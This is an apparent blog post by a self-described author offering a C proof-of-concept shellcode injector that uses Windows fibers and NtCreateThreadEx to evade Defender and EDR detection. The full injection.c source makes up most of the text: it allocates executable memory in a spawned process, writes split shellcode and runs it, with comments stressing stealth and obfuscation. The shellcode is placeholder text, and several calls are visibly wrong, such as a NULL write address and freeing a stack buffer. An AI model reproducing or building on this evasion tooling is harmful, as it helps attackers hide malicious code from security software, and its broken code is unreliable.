Introduction
For awhile now people have been relying on CreateThreadEx and other system calls that have been, for a long time, hooked into Defender and other EDR solutions. The common way to avoid this is by understanding the methods these solutions use to inspect and detect unusual behaviors.
Why Fibers?
Fibers are a user-mode-only feature of the Windows OS that have been around forever. Reading through Windows Internals (2016), I noticed something about fibers that was unique. Fibers are unique in that they allow for cooperative multitasking within a single thread, unlike threads, which rely on the kernel for scheduling. This makes them an interesting target for bypassing certain security mechanisms.
Getting to Work
As I got to work on the proof of concept (POC), I had just finished my debugger, which also uses these same techniques and goes deep into Windows architecture and registers. The injector is the first of its kind to take advantage of fibers in this way.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
if (hProcess) {
LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber
LPVOID debugFiber = CreateFiber(0, finalFiber, NULL); // Setting up the fiber
printf("About to run the shellcode...\n"); // Prep done
SwitchToFiber(debugFiber);
// Hidden process + obfuscated shellcode = full control
DeleteFiber(debugFiber);
} else {
printf("Failed to open process\n");
}
This snippet creates a fiber inside of the created process and then proceeds with its action.
injection.c
#include#include #include //By Sleepy http://github.com/SleepyG8 ;) HANDLE hProcess; LPVOID remoteMem; typedef NTSTATUS(NTAPI *NtCreateThreadEx_t)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer ); // Setting ntcreatethreadex struct BOOL WINAPI finalFiber(LPVOID param) { printf("Executing shellcode in remote fiber...\n"); DWORD oldProtect; VirtualProtectEx(hProcess, remoteMem, 300, PAGE_EXECUTE_READWRITE, &oldProtect); ((void(*)())remoteMem)(); // Exec return TRUE; } BOOL WINAPI finalExec() { LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber LPVOID debugFiber = CreateFiber(0, finalFiber, NULL); // Setting up fiber printf("About to run the shellcode...\n"); // Prep done SwitchToFiber(debugFiber); // Hidden process + obfuscated shellcode = full control DeleteFiber(debugFiber); return TRUE; } BOOL WINAPI debug(LPCVOID param) { unsigned char shellcode1[] = "first half here"; unsigned char shellcode2[] = "second half here\n"; // Must be encrypted/decrypted for more obfuscation char finalShellcode[500]; // Use stack for more stealth if (!finalShellcode) return FALSE; memcpy(finalShellcode, (char*)shellcode1, strlen(shellcode1)); memcpy(finalShellcode + strlen(shellcode1), (char*)shellcode2, strlen(shellcode2)); // Combine chars ;) remoteMem = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Alloc in remote proc if (!remoteMem) { printf("Error writing to memory\n"); VirtualFreeEx(hProcess, finalShellcode, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; } if (!WriteProcessMemory(hProcess, NULL, finalShellcode, sizeof(finalShellcode), NULL)) { printf("Error writing to process memory\n"); VirtualFreeEx(hProcess, finalShellcode, 0, MEM_RELEASE); // Writing CloseHandle(hProcess); return FALSE; } NtCreateThreadEx_t NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"); if (!NtCreateThreadEx) { printf("Failed to resolve NtCreateThreadEx.\n"); return 1; } HANDLE hThread = NULL; NTSTATUS status = NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, finalExec, NULL, FALSE, 0, 0, 0, NULL); if (status != 0 || !hThread) { printf("Failed to create remote thread.\n"); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); // Most looked-at call by EDRs; fiber helps hide this CloseHandle(hProcess); return 1; } free(finalShellcode); return TRUE; } int main(int argc, char* argv[]) { if (argc < 2 || strcmp(argv[1], "help") == 0) { printf("Usage: %s \n", argv[0]); } STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; if (CreateProcess(argv[1], NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { printf("Opening process %s:\n", argv[1]); } else { printf("Error creating process\n"); } hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); if (hProcess) { LPVOID fiberMain = ConvertThreadToFiber(NULL); // Convert the thread to a fiber LPVOID debugFiber = CreateFiber(0, debug, argv[1]); // Setting up fiber printf("About to run the shellcode...\n"); // Prep done SwitchToFiber(debugFiber); // Hidden proc + obfuscated shellcode = full control DeleteFiber(debugFiber); } else { printf("Failed to open process\n"); } return 0; }